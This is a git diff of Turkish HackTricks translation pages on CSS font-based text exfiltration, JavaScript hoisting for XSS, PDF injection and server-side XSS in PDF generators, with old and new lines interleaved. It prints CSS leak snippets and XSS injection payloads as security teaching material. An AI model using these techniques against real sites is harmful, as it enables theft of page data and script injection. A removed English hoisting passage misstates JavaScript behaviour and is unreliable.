**Karakter** **bulunduğunda**, önceden yüklenmiş **Comic Sans fontu** ile **verilir**, bu da karakteri **büyütür** ve **bir kaydırıcıyı tetikler** bu da **bulunan karakteri sızdırır**.
{% endhint %}
PoC'dan çıkarılan kodu kontrol edin:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -393,32 +398,31 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { genişlik: 120px }
6% { genişlik: 140px }
7% { genişlik: 0px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
arka plan: mavi;
background: blue;
}
/* yan kanal */
div::-webkit-scrollbar:dikey {
arka plan: mavi var(--sızıntı);
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Metin düğümü sızdırma (III): varsayılan bir yazı tipi ile karakter kümesini sızdırma, öğeleri gizleyerek (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Metin düğümü sızdırma (III): varsayılan bir font ile charset'i sızdırma, öğeleri gizleyerek (harici varlık gerektirmeyen) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durum, önceki duruma çok benzer, ancak bu durumda belirli **karakterlerin diğerlerinden daha büyük olmasının amacı, bir düğmeye basılmaması gereken bir bot veya yüklenmeyen bir resim gibi bir şeyi gizlemektir. Bu nedenle, eylemi (veya eylemin olmamasını) ölçebilir ve belirli bir karakterin metin içinde var olup olmadığını bilebiliriz.
Bu durum, önceki duruma çok benziyor, ancak bu durumda belirli **karakterleri diğerlerinden daha büyük yapmak, bir butonun bot tarafından basılmaması veya yüklenmeyecek bir görüntü gibi bir şeyi gizlemek içindir.** Böylece eylemi (veya eylemsizliği) ölçebilir ve metin içinde belirli bir karakterin mevcut olup olmadığını bilebiliriz.
### Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter kümesini sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Metin düğümü sızdırma (III): cache zamanlaması ile charset'i sızdırma (harici varlık gerektirmeyen) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, metinde bir karakterin olup olmadığını sızdırmayı deneyebiliriz, aynı kökten sahte bir yazı tipi yükleyerek:
Bu durumda, metinde bir karakterin olup olmadığını, aynı kaynaktan sahte bir font yükleyerek sızdırmayı deneyebiliriz:
```css
@font-face {
font-family: "A1";
@ -426,15 +430,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Eşleşme varsa, **font `/static/bootstrap.min.css?q=1` adresinden yüklenecektir**. Başarılı bir şekilde yüklenmese de, **tarayıcı bunu önbelleğe almalı**, ve önbellek olmasa bile, **304 not modified** mekanizması bulunmaktadır, böylece **yanıt diğer şeylerden daha hızlı olmalıdır**.
Eğer bir eşleşme varsa, **font `/static/bootstrap.min.css?q=1`'den yüklenecektir**. Başarılı bir şekilde yüklenmeyecek olsa da, **tarayıcı bunu önbelleğe almalıdır** ve önbellek olmasa bile, **304 not modified** mekanizması vardır, bu nedenle **yanıt diğer şeylerden daha hızlı olmalıdır**.
Ancak, önbelleğe alınan yanıt ile alınmayan yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunu belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun gerçekten düşünceli olan `disk-cache-size=1` bayrağını kullandığıdır.
Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunları belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmaması ve ikinci sorunun botun `disk-cache-size=1` bayrağını kullanması olduğunu buldum, bu gerçekten düşünceli.
### Metin düğümü sızdırma (III): yüzlerce yerel "font" yükleyerek karakter kümesini zamanlayarak sızdırma (harici varlıklara ihtiyaç duymaz) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Metin düğümü dışa aktarımı (III): yüzlerce yerel "font" yüklemesini zamanlayarak charset'i sızdırmak (harici varlık gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, eşleşme gerçekleştiğinde **aynı kökten yüzlerce sahte font yüklemesi için CSS** belirtebilirsiniz. Bu şekilde **ne kadar zaman aldığını ölçebilir** ve bir karakterin görünüp görünmediğini şöyle bulabilirsiniz:
Bu durumda, bir eşleşme gerçekleştiğinde **aynı kaynaktan yüzlerce sahte font yüklemek için CSS'i belirtebilirsiniz**. Bu şekilde, **ne kadar zaman aldığını ölçebilir** ve bir karakterin görünüp görünmediğini şu şekilde bulabilirsiniz:
```css
@font-face {
font-family: "A1";
@ -451,7 +455,9 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
## Referanslar
Yani, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, bir font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecektir, bu da ağda sürekli bir aktivite olmasına neden olacaktır. Sonuç olarak, durdurma koşulunu tatmin etmek ve yanıt almak daha uzun sürecektir. Bu nedenle, yanıt süresi bir font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
## References
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
@ -464,16 +470,17 @@ time.sleep(30)
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,45 +1,45 @@
# JS Hoisting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Temel Bilgiler
JavaScript dilinde, **Hoisting** olarak bilinen bir mekanizma, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin, kodun çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği şekilde tanımlanır. Bu işlem, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, betiği birden fazla geçişte tarar.
JavaScript dilinde, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin, kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği bir mekanizma olan **Hoisting** tanımlanmıştır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, scripti birden fazla geçişte inceler.
İlk geçiş sırasında, motor, sözdizimi hatalarını kontrol etmek ve betiği soyut sözdizim ağacına dönüştürmek için kodu ayrıştırır. Bu aşama, hoisting'i içeren bir süreç olan bildirimleri yürütme bağlamının en üstüne taşır. Ayrıştırma aşaması, sözdizimi hataları olmadığını gösteren başarılı bir şekilde tamamlandığında, betik yürütmesi devam eder.
İlk geçişte, motor kodu sözdizimi hatalarını kontrol etmek için ayrıştırır ve onu soyut sözdizim ağaçlarına dönüştürür. Bu aşama, belirli bildirimlerin yürütme bağlamının en üstüne taşındığı hoisting işlemini içerir. Ayrıştırma aşaması başarılı olursa, yani sözdizimi hatası yoksa, scriptin yürütülmesine devam edilir.
Şunları anlamak önemlidir:
Anlamak önemlidir ki:
1. Betik, yürütme için sözdizimi hatalarından arındırılmış olmalıdır. Sözdizimi kurallarına kesinlikle uyulmalıdır.
2. Kodun betik içindeki yerleşimi, hoisting nedeniyle yürütme üzerinde etkili olur, ancak yürütülen kod, metinsel temsilinden farklı olabilir.
1. Scriptin yürütülmesi için sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır.
2. Script içindeki kodun yerleşimi, hoisting nedeniyle yürütmeyi etkiler, ancak yürütülen kodun metinsel temsili farklı olabilir.
#### Hoisting Türleri
MDN'den alınan bilgilere göre, JavaScript'te dört farklı hoisting türü bulunmaktadır:
MDN'den alınan bilgilere dayanarak, JavaScript'te dört farklı hoisting türü vardır:
1. **Değer Hoisting**: Bir değişkenin değerinin, bildirim satırından önceki kapsamında kullanılmasını sağlar.
2. **Bildirim Hoisting**: Bir değişkenin bildiriminden önceki kapsamında başvurulmasına izin verir ve `ReferenceError` hatası oluşturmadan, değişkenin değeri `undefined` olur.
3. Bu tür, değişkenin gerçek bildirim satırından önceki bildirimi nedeniyle kapsam içindeki davranışı değiştirir.
4. Bildirimin yan etkileri, içeren kodun geri kalanının değerlendirilmeden önce gerçekleşir.
Ayrıntılı olarak, fonksiyon bildirimleri 1. tür hoisting davranışını sergiler. `var` anahtar kelimesi 2. tür davranışı gösterir. `let`, `const` ve `class` içeren leksikal bildirimler 3. tür davranışı gösterir. Son olarak, `import` ifadeleri, hem 1. tür hem de 4. tür davranışlarla hoisted olarak benzersizdir.
1. **Değer Hoisting**: Bir değişkenin değerinin, bildirim satırından önce kapsamı içinde kullanılmasına olanak tanır.
2. **Bildirim Hoisting**: Bir değişkenin, bildiriminden önce kapsamı içinde referans alınmasına izin verir, bu da `ReferenceError` oluşturmaz, ancak değişkenin değeri `undefined` olacaktır.
3. Bu tür, değişkenin gerçek bildirim satırından önceki bildirimine bağlı olarak kapsam içindeki davranışı değiştirir.
4. Bildirimin yan etkileri, içindeki diğer kodun değerlendirilmesinden önce gerçekleşir.
Detaylı olarak, fonksiyon bildirimleri tür 1 hoisting davranışı sergiler. `var` anahtar kelimesi tür 2 davranışını gösterir. `let`, `const` ve `class` gibi sözcüksel bildirimler tür 3 davranışını gösterir. Son olarak, `import` ifadeleri, hem tür 1 hem de tür 4 davranışlarıyla hoisted olan benzersiz bir yapıya sahiptir.
## Senaryolar
Bu nedenle, **tanımlanmamış bir nesnenin kullanıldıktan sonra JS kodu enjekte edebileceğiniz senaryolarda**, bunu **bildirerek** (böylece kodunuz hata fırlatmak yerine yürütülür):
Bu nedenle, **Tanımsız bir nesne** kullanıldıktan sonra **JS kodu enjekte edebileceğiniz senaryolarınız varsa**, bunu **bildirerek sözdizimini düzeltebilirsiniz** (böylece kodunuz bir hata fırlatmak yerine çalıştırılır):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -82,60 +82,6 @@ test.cookie('leo','INJECTION')
test['cookie','injection']
```
## Daha Fazla Senaryo
In addition to the scenarios mentioned earlier, there are a few more scenarios where JavaScript hoisting can be exploited for XSS attacks. Let's take a look at them:
### 1. Function Declarations
When a function is declared using the `function` keyword, it is hoisted to the top of its scope. This means that even if the function is defined after it is called, it can still be executed without any errors. Attackers can take advantage of this behavior to execute malicious code.
```javascript
<script>
foo(); // This will execute the function even though it is defined later
function foo() {
alert('XSS');
}
</script>
```
### 2. Variable Declarations
Similarly, variable declarations using the `var` keyword are also hoisted to the top of their scope. This allows attackers to use variables before they are actually declared.
```javascript
<script>
alert(x); // This will display 'undefined' as the variable is hoisted but not assigned a value yet
var x = 'XSS';
</script>
```
### 3. Object Declarations
When an object is declared using the `var` keyword, the variable is hoisted but the object itself is not. However, the properties of the object can still be accessed before the object is declared.
```javascript
<script>
alert(obj.property); // This will display 'undefined' as the object is not hoisted
var obj = {
property: 'XSS'
};
</script>
```
### 4. Function Expressions
Unlike function declarations, function expressions are not hoisted. Therefore, if a function expression is used before it is defined, an error will occur.
```javascript
<script>
foo(); // This will throw an error as the function expression is not hoisted
var foo = function() {
alert('XSS');
};
</script>
```
By understanding these additional scenarios, you can further exploit JavaScript hoisting for XSS attacks. Remember to always validate and sanitize user input to prevent such vulnerabilities.
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -195,16 +141,17 @@ let config;`-alert(1)-`//`+""
* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Girişiniz bir PDF dosyasında yansıtılıyorsa, JavaScript'i yürütmek veya PDF içeriğini çalmak için PDF verileri enjekte etmeyi deneyebilirsiniz.**
**Eğer girdiğiniz veri bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.**
Gönderiyi kontrol edin: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,39 +1,39 @@
# Sunucu Tarafı XSS (Dinamik PDF)
# Server Side XSS (Dynamic PDF)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Sunucu Tarafı XSS (Dinamik PDF)
## Server Side XSS (Dynamic PDF)
Bir web sayfası kullanıcı tarafından kontrol edilen girişleri kullanarak bir PDF oluşturuyorsa, PDF oluşturan botu **keyfi JS kodu yürütmeye kandırmayı** deneyebilirsiniz.\
Yani, **PDF oluşturan bot**, bazı **HTML** **etiketlerini** bulursa, onları **yorumlayacak** ve bu davranışı **suistimal ederek** bir **Sunucu XSS** oluşturabilirsiniz.
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **keyfi JS kodunu çalıştırmasını** sağlayabilirsiniz.\
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Server XSS** oluşturabilirsiniz.
Lütfen, `<script></script>` etiketlerinin her zaman çalışmadığını fark edin, bu yüzden JS'yi yürütmek için farklı bir yönteme ihtiyacınız olacak (örneğin, `<img` etiketini suistimal ederek).\
Ayrıca, düzenli bir saldırıda oluşturulan pdf'yi **görebilecek/indirebileceğinizi** unutmayın, bu yüzden JS kullanarak yazdığınız her şeyi görebileceksiniz (`document.write()` örneğin). Ancak, oluşturulan PDF'yi **göremiyorsanız**, muhtemelen bilgiyi sizinle **web isteği yaparak çıkarmak** için ihtiyacınız olacaktır (Kör).
Lütfen, `<script></script>` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yönteme ihtiyacınız olacak (örneğin, `<img` istismar ederek).\
Ayrıca, normal bir istismar durumunda oluşturulan pdf'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebileceksiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremiyorsanız**, muhtemelen **bilgiyi çıkarmak için web isteği yapmanız** gerekecek (Kör).
### Popüler PDF oluşturma
- **wkhtmltopdf**, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneğiyle tanınır ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesine erişilebilir bir açık kaynaklı komut satırı yardımcı programı olarak mevcuttur.
- **TCPDF**, PDF oluşturma için PHP ekosistemi içinde sağlam bir çözüm sunar. Görüntü, grafik ve şifreleme işleme yeteneğine sahiptir ve karmaşık belgeler oluşturmak için çok yönlülüğünü sergiler.
- Bir Node.js ortamında çalışanlar için, **PDFKit** kullanılabilir bir seçenek sunar. HTML ve CSS'den doğrudan PDF belgeleri oluşturmayı sağlar ve web içeriği ile yazdırılabilir formatlar arasında bir köprü görevi görür.
